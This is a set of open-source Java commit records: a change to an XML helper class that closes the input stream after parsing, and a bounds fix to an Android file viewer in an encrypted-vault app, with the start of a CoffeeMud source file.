<del> return ResponseEntity.ok(om.writeValueAsString(style==_ALL || style == _SUPERS ? listFamilles:fp));
<del> }catch (Exception e){
<del> ExceptionHandler.handleException("unkown exception at open/FamillesPrestation::getService",e);
<del> return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("{\"reason\":\"unkown exception\"}exception");
<del> }
<del> } private static final int _ONE_BY_CODE=4;
<add> private static final int _ONE_BY_CODE=4;
<ide>
<ide>
<ide> } |
|
Java | mit | 33e1a46d5d084fd71c44c5548dce6a8f6267c9a8 | 0 | pmeisen/gen-misc | package net.meisen.general.genmisc.resources;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.StringWriter;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;
import net.meisen.general.genmisc.types.Streams;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
/**
* Helper methods to work with Xml files
*
* @author pmeisen
*
*/
public class Xml {
/**
* Creates a {@code Document} from the specified {@code xml}. Returns the
* created {@code Document} if possible, otherwise - i.e. if the creation
* failed - {@code null}.
*
* @param xml
* the bytes which make up the xml
* @param namespaceAware
* {@code true} to be namespace aware within the document,
* otherwise {@code false}, see
* {@link DocumentBuilderFactory#setNamespaceAware(boolean)}
*
* @return the created {@code Document} or {@code null} if an error occurred
*
* @see Document
*/
public static Document createDocument(final byte[] xml,
final boolean namespaceAware) {
final InputStream bais = new ByteArrayInputStream(xml);
final Document doc = createDocument(bais, namespaceAware);
Streams.closeIO(bais);
return doc;
}
/**
* Creates a {@code Document} from the specified {@code xml}. Returns the
* created {@code Document} if possible, otherwise - i.e. if the creation
* failed - {@code null}.
*
* @param xml
* the {@code InputStream} to read the xml from
* @param namespaceAware
* {@code true} to be namespace aware within the document,
* otherwise {@code false}, see
* {@link DocumentBuilderFactory#setNamespaceAware(boolean)}
*
* @return the created {@code Document} or {@code null} if an error occurred
*
* @see Document
*/
public static Document createDocument(final InputStream xml,
final boolean namespaceAware) {
// get a factory to create a builder
final DocumentBuilderFactory docFactory = DocumentBuilderFactory
.newInstance();
docFactory.setNamespaceAware(namespaceAware);
try {
// get the builder to build a document and build it
final DocumentBuilder docBuilder = docFactory.newDocumentBuilder();
final Document doc = docBuilder.parse(xml);
// make sure the InputStream is closed
Streams.closeIO(xml);
return doc;
} catch (final Exception e) {
return null;
}
}
/**
* Method to clone a <code>Document</code>.
*
* @param doc
* the <code>Document</code> to be cloned
*
* @return the clone of the <code>Document</code>
*/
public static Document cloneDocument(final Document doc) {
final DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
final DocumentBuilder db;
try {
db = dbf.newDocumentBuilder();
} catch (final ParserConfigurationException e) {
// should never happen
throw new IllegalStateException(
"Reached an invalid state, please check!", e);
}
final Node originalRoot = doc.getDocumentElement();
final Document copiedDocument = db.newDocument();
final Node copiedRoot = copiedDocument.importNode(originalRoot, true);
copiedDocument.appendChild(copiedRoot);
return copiedDocument;
}
/**
* Creates a string out of the passed <code>Document</code>.
*
* @param doc
* the <code>Document</code> to create the string of
*
* @return the <code>Document</code> as string
*/
public static String createString(final Document doc) {
final StringWriter writer = new StringWriter();
transform(doc, new StreamResult(writer));
return writer.getBuffer().toString();
}
/**
* Creates a byte-array out of the <code>Document</code>.
*
* @param doc
* the <code>Document</code> to create the byte-array from
*
* @return the created byte-array
*/
public static byte[] createByteArray(final Document doc) {
final ByteArrayOutputStream bos = new ByteArrayOutputStream();
transform(doc, new StreamResult(bos));
return bos.toByteArray();
}
/**
* Helper method used to transform a <code>Document</code> into the
* specified <code>StreamResult</code>.
*
* @param doc
* the <code>Document</code> to be transformed
* @param result
* the <code>StreamResult</code> to transform the
* <code>Document</code> to
*/
protected static void transform(final Document doc,
final StreamResult result) {
final TransformerFactory tf = TransformerFactory.newInstance();
try {
final Transformer transformer = tf.newTransformer();
transformer.transform(new DOMSource(doc), result);
} catch (final TransformerConfigurationException e) {
// should never happen
throw new IllegalStateException(
"Reached an invalid state, please check!", e);
} catch (final TransformerException e) {
throw new IllegalArgumentException(
"The passed document cannot be transformed!", e);
}
}
}
| src/net/meisen/general/genmisc/resources/Xml.java | package net.meisen.general.genmisc.resources;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.StringWriter;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;
import net.meisen.general.genmisc.types.Streams;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
/**
* Helper methods to work with Xml files
*
* @author pmeisen
*
*/
public class Xml {
/**
* Creates a {@code Document} from the specified {@code xml}. Returns the
* created {@code Document} if possible, otherwise - i.e. if the creation
* failed - {@code null}.
*
* @param xml
* the bytes which make up the xml
* @param namespaceAware
* {@code true} to be namespace aware within the document,
* otherwise {@code false}, see
* {@link DocumentBuilderFactory#setNamespaceAware(boolean)}
*
* @return the created {@code Document} or {@code null} if an error occurred
*
* @see Document
*/
public static Document createDocument(final byte[] xml,
final boolean namespaceAware) {
final InputStream bais = new ByteArrayInputStream(xml);
final Document doc = createDocument(bais, namespaceAware);
Streams.closeIO(bais);
return doc;
}
/**
* Creates a {@code Document} from the specified {@code xml}. Returns the
* created {@code Document} if possible, otherwise - i.e. if the creation
* failed - {@code null}.
*
* @param xml
* the {@code InputStream} to read the xml from
* @param namespaceAware
* {@code true} to be namespace aware within the document,
* otherwise {@code false}, see
* {@link DocumentBuilderFactory#setNamespaceAware(boolean)}
*
* @return the created {@code Document} or {@code null} if an error occurred
*
* @see Document
*/
public static Document createDocument(final InputStream xml,
final boolean namespaceAware) {
final DocumentBuilderFactory docFactory = DocumentBuilderFactory
.newInstance();
docFactory.setNamespaceAware(namespaceAware);
// get the builder to build a document
try {
final DocumentBuilder docBuilder = docFactory.newDocumentBuilder();
return docBuilder.parse(xml);
} catch (final Exception e) {
return null;
}
}
/**
* Method to clone a <code>Document</code>.
*
* @param doc
* the <code>Document</code> to be cloned
*
* @return the clone of the <code>Document</code>
*/
public static Document cloneDocument(final Document doc) {
final DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
final DocumentBuilder db;
try {
db = dbf.newDocumentBuilder();
} catch (final ParserConfigurationException e) {
// should never happen
throw new IllegalStateException(
"Reached an invalid state, please check!", e);
}
final Node originalRoot = doc.getDocumentElement();
final Document copiedDocument = db.newDocument();
final Node copiedRoot = copiedDocument.importNode(originalRoot, true);
copiedDocument.appendChild(copiedRoot);
return copiedDocument;
}
/**
* Creates a string out of the passed <code>Document</code>.
*
* @param doc
* the <code>Document</code> to create the string of
*
* @return the <code>Document</code> as string
*/
public static String createString(final Document doc) {
final StringWriter writer = new StringWriter();
transform(doc, new StreamResult(writer));
return writer.getBuffer().toString();
}
/**
* Creates a byte-array out of the <code>Document</code>.
*
* @param doc
* the <code>Document</code> to create the byte-array from
*
* @return the created byte-array
*/
public static byte[] createByteArray(final Document doc) {
final ByteArrayOutputStream bos = new ByteArrayOutputStream();
transform(doc, new StreamResult(bos));
return bos.toByteArray();
}
/**
* Helper method used to transform a <code>Document</code> into the
* specified <code>StreamResult</code>.
*
* @param doc
* the <code>Document</code> to be transformed
* @param result
* the <code>StreamResult</code> to transform the
* <code>Document</code> to
*/
protected static void transform(final Document doc,
final StreamResult result) {
final TransformerFactory tf = TransformerFactory.newInstance();
try {
final Transformer transformer = tf.newTransformer();
transformer.transform(new DOMSource(doc), result);
} catch (final TransformerConfigurationException e) {
// should never happen
throw new IllegalStateException(
"Reached an invalid state, please check!", e);
} catch (final TransformerException e) {
throw new IllegalArgumentException(
"The passed document cannot be transformed!", e);
}
}
}
| - closed the stream just to be sure
| src/net/meisen/general/genmisc/resources/Xml.java | - closed the stream just to be sure | <ide><path>rc/net/meisen/general/genmisc/resources/Xml.java
<ide> */
<ide> public static Document createDocument(final InputStream xml,
<ide> final boolean namespaceAware) {
<add>
<add> // get a factory to create a builder
<ide> final DocumentBuilderFactory docFactory = DocumentBuilderFactory
<ide> .newInstance();
<ide> docFactory.setNamespaceAware(namespaceAware);
<ide>
<del> // get the builder to build a document
<ide> try {
<add>
<add> // get the builder to build a document and build it
<ide> final DocumentBuilder docBuilder = docFactory.newDocumentBuilder();
<del> return docBuilder.parse(xml);
<add> final Document doc = docBuilder.parse(xml);
<add>
<add> // make sure the InputStream is closed
<add> Streams.closeIO(xml);
<add>
<add> return doc;
<ide> } catch (final Exception e) {
<ide> return null;
<ide> } |
|
Java | apache-2.0 | 310fa352fbf635983ba2f7e9f016e6603cac4b4d | 0 | Doplgangr/secrecy,mGhassen/secrecy,Doplgangr/Secrecy_fDroid,SecrecySupportTeam/Secrecy_fDroid_DEPRECIATED,SecrecySupportTeam/secrecy,L-Henke/secrecy | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with context work for additional information
* regarding copyright ownership. The ASF licenses context file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use context file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package com.doplgangr.secrecy.Views;
import android.app.AlertDialog;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.ResolveInfo;
import android.net.Uri;
import android.os.Parcelable;
import android.support.v4.app.Fragment;
import android.support.v7.app.ActionBarActivity;
import android.text.InputType;
import android.webkit.MimeTypeMap;
import android.widget.EditText;
import android.widget.ProgressBar;
import android.widget.Toast;
import com.doplgangr.secrecy.Config;
import com.doplgangr.secrecy.CustomApp;
import com.doplgangr.secrecy.FileSystem.CryptStateListener;
import com.doplgangr.secrecy.FileSystem.File;
import com.doplgangr.secrecy.FileSystem.FileObserver;
import com.doplgangr.secrecy.FileSystem.FileOptionsService_;
import com.doplgangr.secrecy.FileSystem.OurFileProvider;
import com.doplgangr.secrecy.FileSystem.Vault;
import com.doplgangr.secrecy.FileSystem.storage;
import com.doplgangr.secrecy.Listeners;
import com.doplgangr.secrecy.R;
import com.doplgangr.secrecy.Util;
import org.androidannotations.annotations.AfterInject;
import org.androidannotations.annotations.Background;
import org.androidannotations.annotations.EFragment;
import org.androidannotations.annotations.UiThread;
import org.androidannotations.api.BackgroundExecutor;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
@EFragment(R.layout.activity_file_viewer)
public class FileViewer extends Fragment {
ActionBarActivity context;
@AfterInject
void onCreate() {
context = (ActionBarActivity) getActivity();
if (context.getSupportActionBar() != null)
context.getSupportActionBar().setSubtitle(storage.getRoot().getAbsolutePath());
final EditText input = new EditText(context);
input.setInputType(InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_PASSWORD);
new AlertDialog.Builder(context)
.setTitle(getString(R.string.File__open))
.setMessage(getString(R.string.File__open_message))
.setView(input)
.setPositiveButton(getString(R.string.OK), new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int whichButton) {
String password = input.getText().toString();
Uri file = context.getIntent().getData();
decrypt(new File(new java.io.File(file.getPath()), password), null, null);
}
}).setNegativeButton(getString(R.string.CANCEL), new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int whichButton) {
finish();
}
}).show();
}
@Background
void addFile(Vault secret, final Intent data) {
FileOptionsService_.intent(this)
.addFile(secret, data)
.start();
onCreate();
}
@Background
void decrypt(File file, final ProgressBar pBar, final Listeners.EmptyListener onFinish) {
java.io.File tempFile = getFile(file, pBar, onFinish);
//File specified is not invalid
if (tempFile != null) {
if (tempFile.getParentFile().equals(storage.getTempFolder())) {
java.io.File newFile = new java.io.File(storage.getTempFolder(), tempFile.getName());
tempFile = newFile;
}
Uri uri = OurFileProvider.getUriForFile(context, OurFileProvider.FILE_PROVIDER_AUTHORITY, tempFile);
MimeTypeMap myMime = MimeTypeMap.getSingleton();
Intent newIntent = new Intent(android.content.Intent.ACTION_VIEW);
String mimeType = myMime.getMimeTypeFromExtension(file.getType());
newIntent.setDataAndType(uri, mimeType);
newIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
//altIntent: resort to using file provider when content provider does not work.
Intent altIntent = new Intent(android.content.Intent.ACTION_VIEW);
Uri rawuri = Uri.fromFile(tempFile);
altIntent.setDataAndType(rawuri, mimeType);
afterDecrypt(newIntent, altIntent);
}
}
@Background
void sendMultiple(ArrayList<FilesListFragment.DecryptArgHolder> args) {
ArrayList<Uri> uris = new ArrayList<Uri>();
Set<String> mimes = new HashSet<String>();
MimeTypeMap myMime = MimeTypeMap.getSingleton();
for (FilesListFragment.DecryptArgHolder arg : args) {
java.io.File tempFile = getFile(arg.file, arg.pBar, arg.onFinish);
//File specified is not invalid
if (tempFile != null) {
if (tempFile.getParentFile().equals(storage.getTempFolder()))
tempFile = new java.io.File(storage.getTempFolder(), tempFile.getName());
uris.add(OurFileProvider.getUriForFile(context, OurFileProvider.FILE_PROVIDER_AUTHORITY, tempFile));
mimes.add(myMime.getMimeTypeFromExtension(arg.file.getType()));
}
}
if (uris.size() == 0 || mimes.size() == 0)
return;
Intent newIntent;
if (uris.size() == 1) {
newIntent = new Intent(Intent.ACTION_SEND);
newIntent.putExtra(Intent.EXTRA_STREAM, uris.get(0));
} else {
newIntent = new Intent(Intent.ACTION_SEND_MULTIPLE);
newIntent.putParcelableArrayListExtra(Intent.EXTRA_STREAM, uris);
}
if (mimes.size() > 1)
newIntent.setType("text/plain"); //Mixed filetypes
else
newIntent.setType(new ArrayList<String>(mimes).get(0));
newIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
Intent chooserIntent = generateCustomChooserIntent(newIntent, uris);
try {
startActivity(Intent.createChooser(chooserIntent, CustomApp.context.getString(R.string.Dialog__send_file)));
onPauseDecision.startActivity();
} catch (android.content.ActivityNotFoundException e) {
Util.toast(context, CustomApp.context.getString(R.string.Error__no_activity_view), Toast.LENGTH_LONG);
onPauseDecision.finishActivity();
}
}
java.io.File getFile(final File file, final ProgressBar pBar, final Listeners.EmptyListener onfinish) {
CryptStateListener listener = new CryptStateListener() {
@Override
public void updateProgress(int progress) {
updatePBar(pBar, progress);
}
@Override
public void setMax(int max) {
maxPBar(pBar, max);
}
@Override
public void onFailed(int statCode) {
String message;
switch (statCode) {
case Config.wrong_password:
message = getString(R.string.Error__wrong_password);
break;
case Config.file_not_found:
message = getString(R.string.Error__file_not_found);
break;
default:
message = getString(R.string.Error__unknown);
}
alert(message);
}
@Override
public void Finished() {
onfinish.run();
}
};
return file.readFile(listener);
}
@UiThread
void afterDecrypt(Intent newIntent, Intent altIntent) {
try {
startActivity(newIntent);
onPauseDecision.startActivity();
} catch (android.content.ActivityNotFoundException e) {
try {
startActivity(altIntent);
onPauseDecision.startActivity();
} catch (android.content.ActivityNotFoundException e2) {
Util.toast(context, getString(R.string.Error__no_activity_view), Toast.LENGTH_LONG);
onPauseDecision.finishActivity();
}
} catch (IllegalStateException e) {
//duh why you leave so early
onPauseDecision.finishActivity();
}
}
@UiThread
void alert(String message) {
DialogInterface.OnClickListener click = new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int whichButton) {
finish();
}
};
Util.alert(context, getString(R.string.Error__decrypt_file), message, click, null);
}
@UiThread
void updatePBar(ProgressBar pBar, int progress) {
if (pBar != null)
pBar.setProgress(progress);
}
@UiThread
void maxPBar(ProgressBar pBar, int max) {
if (pBar != null)
pBar.setMax(max);
}
@Override
public void onPause() {
super.onPause();
if (onPauseDecision.shouldFinish())
finish();
}
void finish() {
BackgroundExecutor.cancelAll(Config.cancellable_task, false);
getActivity().finish();
}
@Override
public void onResume() {
super.onResume();
onPauseDecision.finishActivity();
}
@Override
public void onDestroy() {
Intent fileObserverIntent = new Intent(CustomApp.context, FileObserver.class);
CustomApp.context.stopService(fileObserverIntent); //Use App context since context might be null.
BackgroundExecutor.cancelAll(Config.cancellable_task, true);
super.onDestroy();
}
private Intent generateCustomChooserIntent(Intent prototype, ArrayList<Uri> uris) {
List<Intent> targetedShareIntents = new ArrayList<Intent>();
List<HashMap<String, String>> intentMetaInfo = new ArrayList<HashMap<String, String>>();
Intent chooserIntent;
Intent dummy = new Intent(prototype.getAction());
dummy.setType(prototype.getType());
List<ResolveInfo> resInfo = context.getPackageManager().queryIntentActivities(dummy, 0);
if (!resInfo.isEmpty()) {
for (ResolveInfo resolveInfo : resInfo) {
if (resolveInfo.activityInfo == null || resolveInfo.activityInfo.packageName.equalsIgnoreCase("com.doplgangr.secrecy"))
continue;
HashMap<String, String> info = new HashMap<String, String>();
info.put("packageName", resolveInfo.activityInfo.packageName);
info.put("className", resolveInfo.activityInfo.name);
info.put("simpleName", String.valueOf(resolveInfo.activityInfo.loadLabel(context.getPackageManager())));
intentMetaInfo.add(info);
for (Uri uri : uris)
context.grantUriPermission(resolveInfo.activityInfo.packageName, uri, Intent.FLAG_GRANT_READ_URI_PERMISSION);
}
if (!intentMetaInfo.isEmpty()) {
// sorting for nice readability
Collections.sort(intentMetaInfo, new Comparator<HashMap<String, String>>() {
@Override
public int compare(HashMap<String, String> map, HashMap<String, String> map2) {
return map.get("simpleName").compareTo(map2.get("simpleName"));
}
});
// create the custom intent list
for (HashMap<String, String> metaInfo : intentMetaInfo) {
Intent targetedShareIntent = (Intent) prototype.clone();
targetedShareIntent.setPackage(metaInfo.get("packageName"));
targetedShareIntent.setClassName(metaInfo.get("packageName"), metaInfo.get("className"));
targetedShareIntents.add(targetedShareIntent);
}
chooserIntent = Intent.createChooser(targetedShareIntents.remove(targetedShareIntents.size() - 1), CustomApp.context.getString(R.string.Dialog__send_file));
chooserIntent.putExtra(Intent.EXTRA_INITIAL_INTENTS, targetedShareIntents.toArray(new Parcelable[targetedShareIntents.size()]));
return chooserIntent;
}
}
return new Intent(Intent.ACTION_SEND); //Unable to do anything. Duh.
}
static class onPauseDecision {
static Boolean pause = true;
// An activity is started, should not pause and kill this fragment.
static void startActivity() {
pause = false;
}
// Fragment returns to top, allow it to be paused and killed.
static void finishActivity() {
pause = true;
}
static Boolean shouldFinish() {
return pause;
}
}
}
| app/src/main/java/com/doplgangr/secrecy/Views/FileViewer.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with context work for additional information
* regarding copyright ownership. The ASF licenses context file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use context file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package com.doplgangr.secrecy.Views;
import android.app.AlertDialog;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.ResolveInfo;
import android.net.Uri;
import android.os.Parcelable;
import android.support.v4.app.Fragment;
import android.support.v7.app.ActionBarActivity;
import android.text.InputType;
import android.webkit.MimeTypeMap;
import android.widget.EditText;
import android.widget.ProgressBar;
import android.widget.Toast;
import com.doplgangr.secrecy.Config;
import com.doplgangr.secrecy.CustomApp;
import com.doplgangr.secrecy.FileSystem.CryptStateListener;
import com.doplgangr.secrecy.FileSystem.File;
import com.doplgangr.secrecy.FileSystem.FileObserver;
import com.doplgangr.secrecy.FileSystem.FileOptionsService_;
import com.doplgangr.secrecy.FileSystem.OurFileProvider;
import com.doplgangr.secrecy.FileSystem.Vault;
import com.doplgangr.secrecy.FileSystem.storage;
import com.doplgangr.secrecy.Listeners;
import com.doplgangr.secrecy.R;
import com.doplgangr.secrecy.Util;
import org.androidannotations.annotations.AfterInject;
import org.androidannotations.annotations.Background;
import org.androidannotations.annotations.EFragment;
import org.androidannotations.annotations.UiThread;
import org.androidannotations.api.BackgroundExecutor;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
@EFragment(R.layout.activity_file_viewer)
public class FileViewer extends Fragment {
ActionBarActivity context;
@AfterInject
void onCreate() {
context = (ActionBarActivity) getActivity();
if (context.getSupportActionBar() != null)
context.getSupportActionBar().setSubtitle(storage.getRoot().getAbsolutePath());
final EditText input = new EditText(context);
input.setInputType(InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_PASSWORD);
new AlertDialog.Builder(context)
.setTitle(getString(R.string.File__open))
.setMessage(getString(R.string.File__open_message))
.setView(input)
.setPositiveButton(getString(R.string.OK), new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int whichButton) {
String password = input.getText().toString();
Uri file = context.getIntent().getData();
decrypt(new File(new java.io.File(file.getPath()), password), null, null);
}
}).setNegativeButton(getString(R.string.CANCEL), new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int whichButton) {
finish();
}
}).show();
}
@Background
void addFile(Vault secret, final Intent data) {
FileOptionsService_.intent(this)
.addFile(secret, data)
.start();
onCreate();
}
@Background
void decrypt(File file, final ProgressBar pBar, final Listeners.EmptyListener onFinish) {
java.io.File tempFile = getFile(file, pBar, onFinish);
//File specified is not invalid
if (tempFile != null) {
if (tempFile.getParentFile().equals(storage.getTempFolder())) {
java.io.File newFile = new java.io.File(storage.getTempFolder(), tempFile.getName());
tempFile = newFile;
}
Uri uri = OurFileProvider.getUriForFile(context, OurFileProvider.FILE_PROVIDER_AUTHORITY, tempFile);
MimeTypeMap myMime = MimeTypeMap.getSingleton();
Intent newIntent = new Intent(android.content.Intent.ACTION_VIEW);
String mimeType = myMime.getMimeTypeFromExtension(file.getType());
newIntent.setDataAndType(uri, mimeType);
newIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
//altIntent: resort to using file provider when content provider does not work.
Intent altIntent = new Intent(android.content.Intent.ACTION_VIEW);
Uri rawuri = Uri.fromFile(tempFile);
altIntent.setDataAndType(rawuri, mimeType);
afterDecrypt(newIntent, altIntent);
}
}
@Background
void sendMultiple(ArrayList<FilesListFragment.DecryptArgHolder> args) {
ArrayList<Uri> uris = new ArrayList<Uri>();
Set<String> mimes = new HashSet<String>();
MimeTypeMap myMime = MimeTypeMap.getSingleton();
for (FilesListFragment.DecryptArgHolder arg : args) {
java.io.File tempFile = getFile(arg.file, arg.pBar, arg.onFinish);
//File specified is not invalid
if (tempFile != null) {
if (tempFile.getParentFile().equals(storage.getTempFolder()))
tempFile = new java.io.File(storage.getTempFolder(), tempFile.getName());
uris.add(OurFileProvider.getUriForFile(context, OurFileProvider.FILE_PROVIDER_AUTHORITY, tempFile));
mimes.add(myMime.getMimeTypeFromExtension(arg.file.getType()));
}
}
Intent newIntent;
if (uris.size() == 1) {
newIntent = new Intent(Intent.ACTION_SEND);
newIntent.putExtra(Intent.EXTRA_STREAM, uris.get(0));
} else {
newIntent = new Intent(Intent.ACTION_SEND_MULTIPLE);
newIntent.putParcelableArrayListExtra(Intent.EXTRA_STREAM, uris);
}
if (mimes.size() > 1)
newIntent.setType("text/plain"); //Mixed filetypes
else
newIntent.setType(new ArrayList<String>(mimes).get(0));
newIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
Intent chooserIntent = generateCustomChooserIntent(newIntent, uris);
try {
startActivity(Intent.createChooser(chooserIntent, CustomApp.context.getString(R.string.Dialog__send_file)));
onPauseDecision.startActivity();
} catch (android.content.ActivityNotFoundException e) {
Util.toast(context, CustomApp.context.getString(R.string.Error__no_activity_view), Toast.LENGTH_LONG);
onPauseDecision.finishActivity();
}
}
java.io.File getFile(final File file, final ProgressBar pBar, final Listeners.EmptyListener onfinish) {
CryptStateListener listener = new CryptStateListener() {
@Override
public void updateProgress(int progress) {
updatePBar(pBar, progress);
}
@Override
public void setMax(int max) {
maxPBar(pBar, max);
}
@Override
public void onFailed(int statCode) {
String message;
switch (statCode) {
case Config.wrong_password:
message = getString(R.string.Error__wrong_password);
break;
case Config.file_not_found:
message = getString(R.string.Error__file_not_found);
break;
default:
message = getString(R.string.Error__unknown);
}
alert(message);
}
@Override
public void Finished() {
onfinish.run();
}
};
return file.readFile(listener);
}
@UiThread
void afterDecrypt(Intent newIntent, Intent altIntent) {
try {
startActivity(newIntent);
onPauseDecision.startActivity();
} catch (android.content.ActivityNotFoundException e) {
try {
startActivity(altIntent);
onPauseDecision.startActivity();
} catch (android.content.ActivityNotFoundException e2) {
Util.toast(context, getString(R.string.Error__no_activity_view), Toast.LENGTH_LONG);
onPauseDecision.finishActivity();
}
} catch (IllegalStateException e) {
//duh why you leave so early
onPauseDecision.finishActivity();
}
}
@UiThread
void alert(String message) {
DialogInterface.OnClickListener click = new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int whichButton) {
finish();
}
};
Util.alert(context, getString(R.string.Error__decrypt_file), message, click, null);
}
@UiThread
void updatePBar(ProgressBar pBar, int progress) {
if (pBar != null)
pBar.setProgress(progress);
}
@UiThread
void maxPBar(ProgressBar pBar, int max) {
if (pBar != null)
pBar.setMax(max);
}
@Override
public void onPause() {
super.onPause();
if (onPauseDecision.shouldFinish())
finish();
}
void finish() {
BackgroundExecutor.cancelAll(Config.cancellable_task, false);
getActivity().finish();
}
@Override
public void onResume() {
super.onResume();
onPauseDecision.finishActivity();
}
@Override
public void onDestroy() {
Intent fileObserverIntent = new Intent(CustomApp.context, FileObserver.class);
CustomApp.context.stopService(fileObserverIntent); //Use App context since context might be null.
BackgroundExecutor.cancelAll(Config.cancellable_task, true);
super.onDestroy();
}
private Intent generateCustomChooserIntent(Intent prototype, ArrayList<Uri> uris) {
List<Intent> targetedShareIntents = new ArrayList<Intent>();
List<HashMap<String, String>> intentMetaInfo = new ArrayList<HashMap<String, String>>();
Intent chooserIntent;
Intent dummy = new Intent(prototype.getAction());
dummy.setType(prototype.getType());
List<ResolveInfo> resInfo = context.getPackageManager().queryIntentActivities(dummy, 0);
if (!resInfo.isEmpty()) {
for (ResolveInfo resolveInfo : resInfo) {
if (resolveInfo.activityInfo == null || resolveInfo.activityInfo.packageName.equalsIgnoreCase("com.doplgangr.secrecy"))
continue;
HashMap<String, String> info = new HashMap<String, String>();
info.put("packageName", resolveInfo.activityInfo.packageName);
info.put("className", resolveInfo.activityInfo.name);
info.put("simpleName", String.valueOf(resolveInfo.activityInfo.loadLabel(context.getPackageManager())));
intentMetaInfo.add(info);
for (Uri uri : uris)
context.grantUriPermission(resolveInfo.activityInfo.packageName, uri, Intent.FLAG_GRANT_READ_URI_PERMISSION);
}
if (!intentMetaInfo.isEmpty()) {
// sorting for nice readability
Collections.sort(intentMetaInfo, new Comparator<HashMap<String, String>>() {
@Override
public int compare(HashMap<String, String> map, HashMap<String, String> map2) {
return map.get("simpleName").compareTo(map2.get("simpleName"));
}
});
// create the custom intent list
for (HashMap<String, String> metaInfo : intentMetaInfo) {
Intent targetedShareIntent = (Intent) prototype.clone();
targetedShareIntent.setPackage(metaInfo.get("packageName"));
targetedShareIntent.setClassName(metaInfo.get("packageName"), metaInfo.get("className"));
targetedShareIntents.add(targetedShareIntent);
}
chooserIntent = Intent.createChooser(targetedShareIntents.remove(targetedShareIntents.size() - 1), CustomApp.context.getString(R.string.Dialog__send_file));
chooserIntent.putExtra(Intent.EXTRA_INITIAL_INTENTS, targetedShareIntents.toArray(new Parcelable[targetedShareIntents.size()]));
return chooserIntent;
}
}
return new Intent(Intent.ACTION_SEND); //Unable to do anything. Duh.
}
static class onPauseDecision {
static Boolean pause = true;
// An activity is started, should not pause and kill this fragment.
static void startActivity() {
pause = false;
}
// Fragment returns to top, allow it to be paused and killed.
static void finishActivity() {
pause = true;
}
static Boolean shouldFinish() {
return pause;
}
}
}
| Prevent Out of bound issue
| app/src/main/java/com/doplgangr/secrecy/Views/FileViewer.java | Prevent Out of bound issue | <ide><path>pp/src/main/java/com/doplgangr/secrecy/Views/FileViewer.java
<ide>
<ide> }
<ide> }
<add> if (uris.size() == 0 || mimes.size() == 0)
<add> return;
<ide> Intent newIntent;
<ide> if (uris.size() == 1) {
<ide> newIntent = new Intent(Intent.ACTION_SEND); |
|
Java | apache-2.0 | a67a4c08f3ad63e8ddd901cc1215a324cedd6bef | 0 | bozimmerman/CoffeeMud,bozimmerman/CoffeeMud,bozimmerman/CoffeeMud,bozimmerman/CoffeeMud | package com.planet_ink.coffee_mud.Common;
import com.planet_ink.coffee_mud.core.interfaces.*;
import com.planet_ink.coffee_mud.core.*;
import com.planet_ink.coffee_mud.core.collections.*;
import com.planet_ink.coffee_mud.Abilities.interfaces.*;
import com.planet_ink.coffee_mud.Areas.interfaces.*;
import com.planet_ink.coffee_mud.Behaviors.interfaces.*;
import com.planet_ink.coffee_mud.CharClasses.interfaces.*;
import com.planet_ink.coffee_mud.Commands.interfaces.*;
import com.planet_ink.coffee_mud.Common.interfaces.*;
import com.planet_ink.coffee_mud.Exits.interfaces.*;
import com.planet_ink.coffee_mud.Items.interfaces.*;
